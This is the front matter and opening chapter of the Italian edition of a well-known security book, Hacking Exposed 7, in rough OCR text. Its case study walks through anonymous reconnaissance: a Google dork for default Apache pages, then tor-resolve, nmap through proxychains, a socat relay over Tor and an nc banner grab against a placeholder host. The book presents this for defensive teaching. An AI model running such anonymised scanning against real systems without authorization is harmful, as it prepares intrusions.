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per un’importante societa immobiliare commerciale.
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CrowdStrike. Durante il suo mandato di CTO presso McAfee, Kurtz aveva la responsabilita
delle architetture e delle piattaforme di sicurezza nell’intero portfolio aziendale. Kurtz ha
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un fatturato di 1 miliardo di dollari nel 2007 a oltre 2,5 miliardi nel 2011. In una delle
pit grandi fusioni e acquisizioni del 2011 per quanto riguarda il settore tecnologico, Intel
(INTC) ha acquisito McAfee per quasi 8 miliardi di dollari. Prima di entrare in McAfee,
Kurtz ¢é stato Chief Executive Officer e cofondatore di Foundstone, Inc., acquisita da
McAfee nell’ottobre 2004. Potete seguire George su Twitter @george_kurtz o sul suo
presso securitybattlefield.com.
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si occupa di analisi statica e dinamica di applicazioni sospette a supporto del prodotto
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software e collaborava nelle attivita di ricerca e sviluppo legate a sistemi per contrastare le
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il concorso “Best Antivirus Research” di ESET Latin America. Il suo articolo vincente
era intitolato: “Sexy View: The Beginning of Mobile Botnets”. Carlos ha una laurea in
Systems Engineering ottenuta all'Universidad Javeriana di Bogoti, in Colombia.
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xviii Hacker 7.0
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di software. Ha cofondato Sentrigo, la societa di sicurezza di database recentemente
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professionale nel 1996 con la creazione diVirus Sentinel, un’applicazione antivirus con
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di McAfee Foundstone Enterprise. In questo ruolo, Mike ha gestito un team globale
di ricercatori sulla sicurezza con la responsabilita di implementare controlli software
progettati per rilevare la presenza di vulnerabilita di sistemi operativi e applicazioni da
remoto. Ha una grande esperienza nel campo della sicurezza delle informazioni, avendo
lavorato nell’area dell’analisi di vulnerabilita e nella ricerca e sviluppo per quasi 13 anni.
E anche cofondatore della 8.8 Computer Security Conference, che si tiene ogni anno a
Santiago del Cile. Mike ha anche collaborato alla stesura del Capitolo 11.



Per i miei splendidi ragazzi (che mi hackerano ogni giorno), vi amo pin
di quanto si possa dire a parole. FANMW... URKSHI.

Alla mia Dawn, per la pazienza e I’amore senza fine — non ne
conoscevo il significato prima di incontrarti.

E alle nuove ragazze della mia vita, Jessica e Jillian... vi amo.

— Stuart McClure

A Austin, Texas, la mia nuova citta e un gran bel posto dove vivere;
speriamo di saper mantenere, tutti noi insieme, la sua originalitd.
— Joel Scambray

Alla mia cara famiglia, Anna, Alexander e Allegra, che mi ha fornito
ispirazione e sostegno, consentendomi di seguire la mia passione.

A Joe Petrella, per ricordarmi sempre che

“molti sono chiamati — pochi sono scelti”.

— George Kurtz



Prefazione

)

Il termine cyber-sicurezza e una lista interminabile di altri termini con il prefisso “cyber’
bombardano 1 nostri sensi ogni giorno. Ampiamente discussi ma spesso mal compresi, i
vari termini riguardano i computer e la tecnologia delle informazioni, ovvero gli elementi
chiave che guidano il nostro mondo sempre piu interdipendente. Governi, enti pubblici
e privati, individui, tutti sono sempre piu consapevoli delle sfide e minacce che esistono
per un’ampia varieta delle quotidiane attivita online. Negli ultimi anni, tutto il mondo
si ¢ affidato sempre di piu alle reti di computer per memorizzare, accedere e scambiare
informazioni. Se si considera anche la quasi universale dipendenza da infrastrutture e
meccanismi industriali basati o assistiti dal computer, la vastita della relazione del “cyber”
con le nostre vite diventa immediatamente evidente.

Limpatto di una falla della sicurezza puo variare sull’intero spettro che va da un semplice
fastidio fino a gravi perdite finanziarie, per arrivare fino alla compromissione della sicurezza
di una nazione. Hacking ¢ il termine gergale ampiamente riconosciuto per descrivere la
causa di queste cyber-insicurezze, che variano dalle fastidiose ma relativamente innocue
attivita di giovani appassionati di tecnologia ai pericolosissimi, sofisticati e specifici attacchi
di criminali locali e internazionali.

Le precedenti edizioni di questo libro sono state acclamate come testi di riferimento per
la cyber-sicurezza e sono ben salde sugli scaftali di professionisti dell’'I'T, guru tecnologici
e altre figure interessate a capire gli hacker e i loro metodi. Tuttavia, gli autori sanno che
per stare sulla cresta dell’onda nel mare in continuo movimento della sicurezza I'T servono
agilita, intelligenza e una profonda comprensione delle piu recenti attivita e tecniche di
hacking.““Alzarsi e rialzarsi ancora...”, dal film Robin Hood, ¢ I'esortazione piu appropriata
a impegnarsi al massimo per fronteggiare gli inesauribili assalti dei cyber-hacker.
Questa settima edizione del libro fornisce aggiornamenti su temi sempre presenti e
aggiunge nuovi e importanti capitoli sulle minacce avanzate persistenti o APT (Advanced
Persistent Threats), hardware e sistemi embedded. Spiegando come si verificano gli hack, che
cosa fanno i loro autori, e come difendersi ad essi, gli autori percorrono tutto I’orizzonte
della sicurezza informatica. Data la popolarita dei dispositivi mobili e dei social media,
i cittadini della rete di oggi troveranno certamente interessante leggere le vulnerabilita
e 1 problemi di sicurezza di queste piattaforme comuni.

Il prerequisito per affrontare questi problemi di I'T e sicurezza informatica ¢ la conoscenza.
Per prima cosa, dobbiamo capire le architetture dei sistemi che utilizziamo e 1 punti di
forza e di debolezza di hardware e software. In secondo luogo, dobbiamo conoscere gli
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avversari: chi sono e che cosa tentano di fare. In breve, abbiamo bisogno di un’opera di
intelligence su minacce e nemici, svolta mediante sorveglianza e analisi, prima di poter
iniziare a prendere contromisure efficaci. Questo libro fornisce 1 fondamenti essenziali
e gli strumenti necessari a chi si interessa davvero di cyber-sicurezza.

Se ¢i impegniamo a riflettere e ad apprendere su noi stessi, i nostri dispositivi, le nostre
retl e 1 nostri avversari, cominceremo un percorso che ci portera a difendere con successo
le nostre cyber-attivita. Cio che resta ¢ la realta del cambiamento: I'emergere di nuove
tecniche e tecnologie e la costante evoluzione delle minacce. Dobbiamo quindi “alzarci
e rialzarci ancora...” per rimanere al passo con 1 nuovi sviluppi, aggiornando le nostre
conoscenze e acquisendo le capacita per rilevare e fronteggiare gli attacchi.

Questa nuova edizione di Hacking Exposed™ vi aiuta a migliorare le vostre capacita e
a intraprendere azioni efficaci. Gli agnelli potranno cosi diventare 1 leoni della cyber-
sicurezza.

William J. Fallon
Ammiraglio, U.S. Navy (in pensione)
Chairman, CounterTack, Inc.

Lammiraglio William J. Fallon si ¢ congedato dalla U.S. Navy dopo un’importante
carriera con 40 anni di leadership militare e strategica. Ha guidato le forze USA e
alleate in otto comandi separati e ha svolto un ruolo di leadership su temi militari
e diplomatici ai massimi livelli del governo statunitense. A capo dell’'U.S. Central
Command, 'ammiraglio Fallon ha diretto tutte le operazioni militari USA in Medio
oriente, Asia centrale ¢ Corno d’Africa, concentrandosi sui combattimenti in Iraq
e Afghanistan. Chairman di Board of CounterTack Inc., una nuova societa attiva
nel settore della cyber-sicurezza, lammiraglio Fallon ¢ anche partner in Tilwell
Petroleum, LLC, consulente per diverse altre organizzazioni e Distinguished Fellow
presso il Center for Naval Analyses. E membro del Science Board del segretario alla
difesa USA e del Board dell’American Security Project.




Introduzione

“Alzarsi e rialzarsi ancora, finché gli agnelli diventeranno leoni”

Questa citazione dal film Robin Hood di Russell Crowe (2010) ¢ piu che mai adatta alla
settima edizione di questo libro. Non fraintendete: oggi siamo gli agnelli, mandati al
macello ogni minuto del giorno. Ma non pué continuare. Non possiamo permetterlo. Le
conseguenze sono troppo gravi. Catastrofiche.

Vi imploriamo di leggere ogni parola di ogni pagina e prendere sul serio questo avver-
timento. Dobbiamo capire come lavorano 1 malintenzionati e utilizzare le contromisure
descritte in queste pagine (e altre ancora), oppure continueremo a essere macellati e il
nostro futuro sard compromesso.

Argomenti del libro

Abbiamo rielaborato I'intero contenuto del libro, ma desideriamo evidenziare in parti-
colare alcuni temi nuovi di fondamentale importanza. Nel libro abbiamo introdotto un
tema sempre piu al centro dell’attenzione, quello delle minacce avanzate persistenti,o APT
(Advanced Persistent Threats), fornendo esempi tratti dal mondo reale di come questi attacchi
abbiano avuto successo e mostrando come rilevarli e bloccarli. Abbiamo poi aggiunto una
parte nuova dedicata al mondo dell’hacking embedded, trattando le tecniche usate dagli
hacker per rimuovere da una scheda tutti 1 suoi chip, eftettuare il reverse engineering e
scoprire il tallone di Achille nel complesso mondo di 1 e 0. Un’altra parte nuova tratta
I'hacking di database, esaminando i bersagli e le tecniche usate per sottrarre dati sensibili.
Un intero capitolo ¢ dedicato al mondo mobile, descrive il mondo embedded di tablet,
smartphone e dispositivi vari, e mostra come gli hacker stiano concentrandosi su questa
nuova area d’attacco esplosa negli ultimi anni. E infine, come avremmo dovuto fare fin
dalla primissima edizione del 1999, abbiamo aggiunto un intero capitolo dedicato alle
contromisure, dove assumiamo un ruolo attivo nello spiegare ci6 che voi, amministratori
o utenti finali, potete fare per evitare che gli hacker entrino nei vostri sistemi.

Come usare questo libro

Lo scopo di questo libro ¢ presentare il mondo degli hacker: come ragionano e come
lavorano. Ma ¢ altrettanto importante spiegare 1 modi per fermarli. Usate questo libro
come riferimento per entrambi questi scopi.

Struttura del libro

Nella prima parte esaminiamo i modi in cui gli hacker acquisiscono informazioni sui loro
bersagli. Spesso procedono in modo meticoloso per capire i loro obiettivi d’attacco ed
enumerarne tutti i dettagli, e nel testo mostriamo le basi delle loro tecniche. Nella seconda



XXiv Hacker 7.0

parte esponiamo 1’obiettivo ultimo di qualsiasi hacker: arrivare al desktop o al server, con
un nuovo capitolo dedicato alle minacce avanzate persistenti o APT. La terza parte esamina
i modi con cui gli hacker attaccano le autostrade dell’'informazione a cui i nostri sistemi si
connetto. Questa parte include nuovi materiali dedicati all’hacking di sistemi embedded.
La quarta parte esamina il mondo del Web e dei database, oltre alle opportunita di hacking
nel mondo mobile, e presenta anche le contromisure che si possono utilizzare.

Convenzioni

Anche in questa edizione abbiamo mantenuto la struttura delle precedenti; ogni tecnica
di attacco ¢ evidenziata da un’icona come quelle riportate di seguito.

\)/A
0 " lcona dell'attacco

Facilita I'individuazione di specifici strumenti e metodologie di hacking. A ogni attac-
co corrisponde una contromisura con suggerimenti pratici, specifici, testati sul campo,
indicati da un’icona speciale.

Q Icona della contromisura

Passate subito alla soluzione dei problemi e lasciate indietro gli hacker.

 Prestate attenzione alle parti evidenziate in grassetto nei listati di codice, che indicano
Iinput dell’utente.

e Ogni attacco ¢ accompagnato da un grado di rischio ricavato da tre componenti
valutati in base all’esperienza degli autori.

Popolarita: la frequenza di utilizzo verso bersagli attivi; 1 indica la frequenza
minima, 10 la massima.

Semplicita: il livello di conoscenze e capacita necessario per eseguire lattacco; 1
indica un programmatore esperto nella sicurezza, 10 un principiante.

Impatto: il potenziale danno causato dall’esecuzione dell’attacco, in caso di
successo; 1 indica la scoperta di informazioni banali sul bersaglio, 10
la compromissione dell’account del superuser o equivalente.

Grado di rischio: il grado di rischio complessivo (media dei tre valori precedenti).

Ringraziamenti

Gli autori ringraziano gli editor e lo staft di produzione di McGraw-Hill Professional che
ha lavorato su questa settima edizione, tra cui Amy Jollymore, Ryan Willard e LeeAnn
Pickrell; senza il loro impegno non sarebbe stato possibile realizzare il prodotto che avete
nelle vostre mani. Siamo davvero grati per aver potuto lavorare con un team cosi agguerrito
che ci ha aiutato nel nostro impegno a spiegare come ragionano e lavorano gli hacker.
Un ringraziamento speciale a tutti 1 collaboratori e 1 revisori tecnici di questa edizione,
e un enorme “Grazie” a tutti 1 nostri devoti lettori. Avete fatto di questo libro un grande
successo mondiale. Non potremo mai ringraziarvi abbastanza!
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Inquadrare il bersaglio
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- Capitolo 1 La raccolta diinformazioni:
il footprinting

« Capitolo2 Lascansione

« Capitolo 3 Lenumerazione
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Caso di studio

Come scoprirete nei capitoli di questa prima parte, i concetti di footprinting, scansione
ed enumerazione sono fondamentali per inquadrare il bersaglio di un attacco. I vostri
avversari su Internet si comporteranno come il ladro che tiene d’occhio una banca prima
di fare il gran colpo: andranno a ficcare il naso dappertutto, in maniera sistematica, finché
non troveranno il punto debole della vostra presenza su Internet... e non ci vorra molto.
Attendersi che gli hacker si trastullino con uno scanner di rete come Nmap con tutte le
opzioni abilitate fa molto 1999 (che, tra 'altro, ¢ proprio 'anno in cui abbiamo scritto
la prima edizione di questo libro). Queste persone oggi sono molto piu sofisticate e
sanno come mantenere 'anonimato, cosa fondamentale per un bravo hacker. E il caso di
approfondire 'argomento...

L'anonimato e fondamentale

Con l'evoluzione di Internet, proteggere il proprio anonimato ¢ diventato un tema
pit che mai importante. Molti sistemi sono stati sviluppati nel tentativo di fornire un
anonimato forte e senza sacrificare la praticita d’uso, ma la maggior parte non ¢ andata
molto lontano rispetto a Tor (“The Onion Router”), la rete di onion router a bassa la-
tenza di seconda generazione che consente agli utenti di comunicare in modo anonimo
su Internet. Il sistema fu sponsorizzato in origine dall’U.S. Naval Research Laboratory,
il laboratorio di ricerca della marina statunitense, e divenne un progetto dell’Electronic
Frontier Foundation (EFF) nel 2004. Il termine onion routing potrebbe far pensare a un
cuoco pazzo (onion in inglese significa cipolla), ma in realta ¢ una tecnica molto sofisticata
per la comunicazione in rete anonima o sotto pseudonimo. Dei volontari gestiscono sul
loro sistema un onion proxy server che consente agli utenti della rete Tor di effettuare
connessioni in uscita anonime TCP.

Gli utenti di rete Tor devono eseguire sul proprio sistema un onion proxy che consente
loro di comunicare con la rete Tor e negoziare un circuito virtuale. Tor utilizza tecniche
crittografiche avanzate in un meccanismo a strati sovrapposti, a cui si deve il richiamo
alla cipolla nel termine onion router; il suo vantaggio chiave, rispetto ad altre reti di
anonimato, ¢ che ¢ indipendente dall’applicazione e che opera al livello del flusso TCP.
E compatibile con proxy SOCKS e lavora senza problemi con sistemi di messaggistica
istantanea, Internet Relay Chat (IRC) e browser web. Benché non sia ancora del tutto
stabile e a prova di violazioni, Tor rappresenta realmente un importante progresso per le
comunicazioni anonime su Internet.

Benché la maggior parte delle persone utilizzi la rete Tor semplicemente per poter na-
vigare su Internet mantenendo I'anonimato, ci sono anche hacker che la sfruttano per
complicare la vita agli altri. Gli hacker conoscono bene 1 progressi compiuti nel campo del
rilevamento delle intrusioni e dei comportamenti anomali, e sanno anche che, se vogliono
continuare nell’attivita che ritengono di avere il sacrosanto diritto di svolgere — violare 1
sistemi altrui — devono rimanere anonimi.

Esaminiamo nel seguito diversi modi con cui un hacker puo rendere anonime le proprie
attivita.
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Tor-mentare le brave persone

Gli hacker sono molto bravi nell'individuare sistemi altrui e violarli per divertimento. Nel
loro modus operandi rientra anche I'utilizzo di Nmap per analizzare la presenza di servizi
aperti (come server web o servizi di condivisione dei file di Windows). Naturalmente
conoscono benissimo le tecniche per utilizzare Tor in modo da nascondere la propria iden-
titd. Cerchiamo di entrare nel loro mondo e di esaminare la loro opera da bravi artigiani.
Il primo passo di un hacker consiste nell’assicurarsi di poter navigare in modo anonimo.
Un bravo hacker non solo vuole navigare in modo anonimo attraverso la rete Tor, ma vuole
anche assicurarsi che il suo browser, che notoriamente non offre un’elevata protezione
det dati, non faccia conoscere dei dettagli che lo riguardano. Decide quindi di prelevare
e installare 1l client Tor,Vidalia (GUI per TOR) e Privoxy (un proxy web) per garantirsi
I’anonimato. Si collega a http://www.torproject.org/ per prelevare un unico bundle che
comprende tutto questo software. Uno dei componenti installati da Vidalia ¢ Torbutton,
uno strumento rapido e semplice per abilitare e disabilitare la navigazione tramite la rete
Tor (torproject.org/torbutton/).

Dopo una rapida configurazione il proxy Tor ¢ installato e in ascolto sulla porta locale
9050, Privoxy ¢ installato e in ascolto sulla porta 8118 e I'estensione di Firefox Torbutton
¢ installata e pronta all’uso nell’angolo inferiore destro della finestra del browser Firefox.
Lhacker si collega al sito di controllo di Tor (check.torproject.org) e vede il messaggio
che conferma il successo dell’operazione: “Congratulations. You are using Tor”, quindi
comincia a cercare ignari server web installati con le opzioni di default. Sapendo che
Google ¢ un ottimo strumento per cercare tutti 1 tipi di bersagli, 'hacker digita quanto
segue nella casella di ricerca (manteniamo il testo in inglese):

intitle:Test.Page.for.Apache "It worked!" "this Web site!"

Viene immediatamente visualizzato un elenco di sistemi che utilizzano il server web
Apache nell'installazione di default. Uhacker fa clic su un collegamento in tutta tranquillita,
sapendo che il suo IP ¢ nascosto e che vi sono scarse possibilita di poter ricondurre a lui
le sue attivitd. Anch’egli riceve il familiare messaggio che segnala 'avvenuta installazione
di Apache: “It Worked! The Apache Web Server is Installed on this Web Site!”. Il gioco
¢ cominciato.

Ora che 'hacker conosce il server web e il nome di dominio associato, vuole trovare
I'indirizzo IP corrispondente. Invece di utilizzare un comando come host, che renderebbe
nota la sua posizione, utilizza tor-resolve, incluso nel pacchetto di Tor. Lhacker sa che ¢
fondamentale evitare 'uso di qualsiasi strumento che invii pacchetti UDP o ICMP di-
rettamente al sistema di destinazione. Tutte le ricerche devono essere effettuate attraverso
la rete Tor per mantenere 'anonimato.

bt ~ # tor-resolve www.esempio.com
10.10.10.100

NOTA

www.esempio.com e 10.10.10.100 sono utilizzati solo come esempi, non si tratta di un
nome di dominio e di un indirizzo IP reali.
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In questo processo metodico di footprinting, ovvero di raccolta delle informazioni sul
bersaglio, I’hacker vuole determinare quali altri servizi interessanti sono in esecuzione
sul sistema. Naturalmente tira fuori la sua versione fidata di Nmap, ma ricorda che deve
sempre far passare il traffico attraverso Tor per operare in anonimato, cosi avvia proxychains
(proxychains.sourceforge.net/) sulla sua Linux box ed esegue le scansioni nmap attraverso
la rete Tor. Il client proxychain forza qualsiasi connessione TCP effettuata da qualunque
applicazione, in questo caso Nmap, a utilizzare la rete Tor o un elenco di altri server proxy.
Poiché puo eseguire il proxy soltanto di connessioni TCP via proxychains, 'hacker deve
configurare Nmap con opzioni molto specifiche. L'opzione -sT ¢ utilizzata per specificare
una connessione piena,invece di una scansione SYN. Lopzione -PN ¢ utilizzata per saltare
la fase di ricerca dell’host, dato ’hacker ¢ gia certo che I'host ¢ online. Uopzione -n serve
ad assicurarsi che nessuna richiesta DNS (Domain Name Server) sia eseguita al di fuori
della rete Tor. Lopzione -sV ¢ utilizzata per eseguire la rilevazione di servizi e versioni
su clascuna porta aperta, e U'opzione -p ¢ utilizzata con un insieme di porte comuni da
provare. Poiché Tor in alcuni casi puo essere molto lento e inaffidabile, servirebbe troppo
tempo per compiere una scansione completa delle porte per suo tramite, quindi ’hacker
sceglie solo le porte pit interessanti:

bt ~ # proxychains nmap -sT -PN -n -sV -p 21,22,53,80,110,139,143,443 10.10.10.100
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 4.60 ( http://nmap.org ) at 2008-07-12 17:08 GMT

|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:21-<><>-0K
|S-chain|-<»-127.0.0.1:9050-<><>-10.10.10.100:22-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:53-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:80-<><>-0K
|S-chain|-<»>-127.0.0.1:9050-<><>-10.10.10.100:443-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:110-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:143-<><>-0K
|S-chain|-<»>-127.0.0.1:9050-<><>-10.10.10.100:139-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:21-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:53-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:80-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:110-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:143-<><>-0K
|S-chain|-<»>-127.0.0.1:9050-<><>-10.10.10.100:443-<><>-0K
|S-chain|-<>-127.0.0.1:9050-<><>-10.10.10.100:53-<><>-0K

Interesting ports on 10.10.10.100:
PORT STATE SERVICE VERSION
21/tcp open ftp PureFTPd
22/tcp closed ssh

53/tcp open  domain

80/tcp open http Apache httpd

110/tcp open  pop3 Courier pop3d

139/tcp closed netbios-ssn

143/tcp open  imap Courier Imapd (released 2005)
443/tcp open  http Apache httpd

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.825 seconds

Ora 'hacker possiede, grazie a Nmap, una miniera di informazioni, tra cui le porte aperte
e dati sui servizi, ma si concentra sulla ricerca di specifiche vulnerabilita che potrebbero
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essere sfruttate da remoto. Si rende conto che il sistema individuato potrebbe essere poco
aggiornato, se la pagina dell’installazione di default di Apache ¢ ancora in uso; decide di
approfondire I'esame collegandosi al server web e determinando I'esatta versione di Apache.
Deve quindi connettersi al server web tramite la porta 80. Naturalmente si rende conto
che ha necessita di collegarsi tramite la rete Tor e garantire la catena di anonimato che ha
creato con tanta cura. Potrebbe utilizzare proxychains per “Torificare” il client netcat (nc),
ma decide invece di utilizzare un altro strumento del suo arsenale: socat (dest-unreach.
org/socat/), che consente il relay dei trasterimenti bidirezionali e puo essere utilizzato per
inoltrare richieste TCP tramite il proxy SOCKS Tor in ascolto sulla porta 9050. Il van-
taggio offerto dall’uso di socat ¢ che I’hacker puo realizzare una connessione persistente
con il server web della vittima ed eseguire qualsiasi numero di verifiche attraverso il relay
di socat (per esempio Nessus, Nikto e cosi via); In questo esempio ’hacker sondera la
porta manualmente, anziché utilizzare uno strumento automatico per 'individuazione
di vulnerabilita. Il seguente comando socat imposta un proxy socat in ascolto sul sistema
locale dell’hacker (127.0.0.1 porta 8080) e inoltra tutte le richieste TCP a 10.10.10.100
porta 80 tramite il proxy TOR SOCKS in ascolto su 127.0.0.1 porta 9050.

bt ~ # socat TCP4-LISTEN:8080,fork
SOCKS4a:127.0.0.1:10.10.10.100:80,socksport=9050 &

Ora il nostro hacker ¢ pronto a connettersi direttamente al server web e a determinare
Iesatta versione di Apache in esecuzione sul sistema bersaglio, cosa che puo fare facil-
mente con nc, il “coltellino svizzero” del suo arsenale. Una volta effettuata la connessione,
determina la versione di Apache digitando HEAD / HTTP/1.0 e premendo Invio due volte.

bt ~ # nc 127.0.0.1 8080
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Wed, 14 Dec 2011 18:36:23 GMT
Server: Apache/2.2.2 (Debian)
X-Powered-By: PHP/5.2.17-0.dotdeb.0
X-FIRSTBaseRedirector: LIVE

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=UTF-8

Una gocciolina di sudore comincia a scendere da un sopracciglio mentre il battito del
cuore si fa pit rapido. Fantastico! Apache 2.2.2 ¢ una versione piuttosto vecchia del
venerabile server web, e il nostro hacker sa che presenta parecchie vulnerabilita che gli
consentiranno di “pwn” (termine del gergo hacker che significa “appropriarsi di”, dall’in-
glese own, o anche “compromettere”) il sistema bersaglio. A questo punto la procedura
per attuare una totale compromissione € quasi scolastica, il nostro hacker inizia il processo
per individuare una vulnerabilita facilmente sfruttabile (un difetto HTTP) in Apache
2.2.2 o versione precedente.

Tutto avviene in modo semplice e rapido come lo abbiamo descritto. Confusi? Non ¢ il
caso. Come vedremo nei capitoli seguenti, footprinting, scansione ed enumerazione sono
tutti passaggi utili e necessari di cui un hacker si serve per rovinare la giornata a qual-
cuno! Vi consigliamo di leggere tutti 1 capitoli in sequenza, quindi di tornare a rileggere
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questo caso di studio. Tenete a mente il nostro consiglio: analizzate subito i vostri sistemi,
altrimenti altri lo faranno al posto vostro. Inoltre, occorre tenere presente che nel nuovo
ordine mondiale dell’anonimato su Internet, non tutto ¢ come appare. Ovvero, gli indirizzi
IP di un hacker potrebbero non appartenere davvero a lui. E se vi sentite assediati, non
disperate: esistono delle contromisure che saranno discusse in questo libro. E allora, che
cosa aspettate? Iniziate a leggere!



(Capitolo 1

La raccolta
di informazioni:
il footprinting

Prima di cominciare a divertirsi davvero,’hacker deve
eseguire tre passaggi fondamentali. In questo capitolo
discutiamo il primo, ovvero il footprinting, I'arte di
raccogliere informazioni sull’obiettivo a cui si ¢ in-
teressati, di capire tutto cio che conta del bersaglio e
delle sue relazioni con cio che lo circonda, spesso senza
nemmeno inviare al bersaglio un solo pacchetto di
dati. E poiché l'obiettivo diretto dell’hacker potrebbe
essere ben protetto, ¢ importante conoscere anche le
entita periferiche o correlate al bersaglio.
Esaminiamo come si porta a termine un furto nel
mondo fisico. Quando dei ladri decidono di svaligiare
una banca, non si limitano certo a entrare e chiedere i
soldi, ma si preoccupano di raccogliere informazioni
sulla banca bersaglio: tempi di consegna del denaro e
percorsi dei furgoni blindati, telecamere di sicurezza
e sensori di allarme, numero di cassieri e uscite di
sicurezza, percorsi di accesso alla camera blindata e
personale autorizzato, e ogni altro dettaglio che po-
trebbe risultare utile per compiere una rapina.

Lo stesso vale per gli attacchi portati nel cyberspazio.
Servono moltissime informazioni per portare un attac-
co mirato e chirurgico (che non sia subito intercettato),
percio gli hacker raccolgono ogni possibile informa-
zione su tutti gli aspetti legati alla sicurezza. Al termine
di questa fase, se tutto ¢ stato fatto per il meglio, gli
hacker hanno a disposizione un footprint, cio¢ un profilo
univoco del loro bersaglio che descrive connessioni a
Internet, accesso remoto, intranet/extranet, eventuali
partner. Procedendo in maniera strutturata, ¢ possibile
raccogliere informazioni da varie fonti per compilare
questo importantissimo profilo, e il bersaglio puo essere
praticamente qualsiasi organizzazione.

In questo capitolo

Che cos’e il footprinting?

Footprinting su Internet
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Sun Tzu aveva immaginato tutto cio gia secoli fa, quando scrisse nell’Arte della guerra:

Se conosci il tuo nemico e conosci te stesso, non devi temere il risultato di cento battaglie. Se conosci te stesso
ma non il tuo nemico, per ogni vittoria subirai anche una sconfitta. Se non conosci il tuo nentico e nemmeno
fe stesso, perderai ogni battaglia.

Sarete sorpresi di scoprire quante informazioni relative alla sicurezza della vostra orga-
nizzazione sono disponibili subito e pubblicamente a chiunque abbia voglia di cercarle.
Ogni attacco, per poter avere successo, richiede motivazione e opportunita, percio ¢
fondamentale che voi sappiate ci6 che il nemico gia sa di voi!

Che cos'e il footprinting?

Lattivita di footprinting di un’organizzazione, svolta in maniera sistematica e metodica,
consente agli hacker di creare un profilo quasi completo dello stato di sicurezza dell’orga-
nizzazione in questione. Utilizzando una combinazione di strumenti e tecniche, insieme
a una buona dose di pazienza e riflessione, gli hacker possono avvicinarsi a un’entita
sconosciuta e ridurla a una serie specifica di nomi di dominio, blocchi di rete, sottoreti,
router e singoli indirizzi IP di sistemi direttamente connessi a Internet, oltre a molti altri
dettagli relativi al suo stato di sicurezza. Esistono molte tecniche di footprinting, ma tutte
puntano principalmente a scoprire informazioni relative ai seguenti ambienti: Internet,
intranet, accesso remoto ed extranet.

Nella Tabella 1.1 sono elencati questi ambienti, con le informazioni fondamentali che un
hacker cerchera di individuare.

Perché é necessario il footprinting

Il footprinting € necessario per una ragione fondamentale: consente di ottenere un quadro
di ci6 che I’hacker puo vedere. E conoscendo cio che 'hacker puo vedere, si conoscono
le potenziali falle presenti nel proprio ambiente. E conoscendo le falle, si ha la possibilita
di prevenire eventuali attacchi che le sfruttino.

Gli hacker sono molto bravi nell’entrare nella mente delle persone senza che queste se ne
accorgano. Lavorano in modo sistematico e metodico per raccogliere tutte le informazio-
ni relative alle tecnologie utilizzate nell’ambiente del bersaglio. Senza una metodologia
adatta a svolgere questo tipo di riconoscimento, voi probabilmente perderete informazioni
importanti su una specifica tecnologia o organizzazione, ma fidatevi, I’hacker non lo fara.
Occorre tenere presente, comunque, che il footprinting € spesso il compito pit arduo nel
tentare di determinare lo stato di sicurezza di un’entita, e tende a essere quello pit noioso
per 1 professionisti della sicurezza freschi di assunzione, ansiosi di iniziare con qualche
hacking di prova. Tuttavia, il footprinting ¢ uno dei passaggi pit importanti e deve essere
svolto in modo accurato e controllato.
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Tabella 1.1 Elementi di footprinting che gli hacker cercano di individuare.

Tecnologia

Internet

Intranet

Accesso remoto

Extranet

Identifica

Nomi di dominio

Blocchi di rete e sottoreti

Specifici indirizzi IP di sistemi raggiungibili via Internet

Servizi TCP e UDP in esecuzione su ciascun sistema identificato
Architettura di sistema (per esempio, Sparc o x86)

Meccanismi di controllo di accesso e relativi elenchi ACL (Access Control List)
Sistemi di rilevamento delle intrusioni (IDS, Intrusion-Detection System)

Enumerazione di sistema (nomi di utenti e gruppi, banner di sistema, tabelle di routing
e informazioni SNMP)

Nomi di host DNS

Protocolli di rete in uso (per esempio IP, IPX, DecNET e cosi via)

Nomi di dominio interni

Blocchi di rete

Specifici indirizzi IP di sistemi raggiungibili via Internet

Servizi TCP e UDP in esecuzione su ciascun sistema identificato
Architettura di sistema (per esempio, Sparc o x86)

Meccanismi di controllo di accesso e relativi elenchi ACL (Access Control List)
Sistemi di rilevamento delle intrusioni (IDS, Intrusion-Detection System)

Enumerazione di sistema (nomi di utenti e gruppi, banner di sistema, tabelle di routing
e informazioni SNMP)

Nomi di host DNS

Numeri di telefono analogici/digitali
Tipo di sistema remoto

Meccanismi di autenticazione

VPN e protocolli correlati (IPSec e PPTP)
Nomi di dominio

Origine e destinazione della connessione
Tipo di connessione

Meccanismo di controllo di accesso

Footprinting su Internet

Benché molte tecniche di footprinting siano simili indipendentemente dalla tecnologia
(Internet e intranet), questo capitolo tratta in particolare il footprinting delle connessioni
a Internet di un’organizzazione. L'accesso remoto ¢ trattato in dettaglio nel Capitolo 7.
Il footprinting € un’attivita che puo svolgersi in percorsi molto intricati, percio non ¢
indicata una guida passo passo.Tuttavia,in questo capitolo sono delineati i passi di base che
dovrebbero consentirvi di portare a termine un’analisi di footprinting esaustiva. Molte di
queste tecniche si applicano anche ad altre tecnologie menzionate in precedenza.
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Passo 1: definire 'ambito delle proprie attivita

I primo passo ¢ quello di definire 'ambito delle proprie attivita di footprinting. Si vuole
effettuare il footprinting dell’intera organizzazione, o limitarsi a certe sedi o localita? E 1
partner commerciali (extranet), o 1siti di disaster-recovery? Ci sono altre relazioni o con-
siderazioni? In alcuni casi si potrebbe essere intimoriti dal compito di determinare tutte
le entita associate a un’organizzazione, nonché metterle in sicurezza, ma sfortunatamente
gli hacker non hanno gli stessi timori e sfruttano ogni punto debole in qualsiasi forma
si manifesti. Non volete certamente che gli hacker conoscano meglio di voi lo stato di
sicurezza della vostra organizzazione, percio dovete individuare tutte le potenziali falle
nel vostro ambiente!

Passo 2: ottenere le opportune autorizzazioni

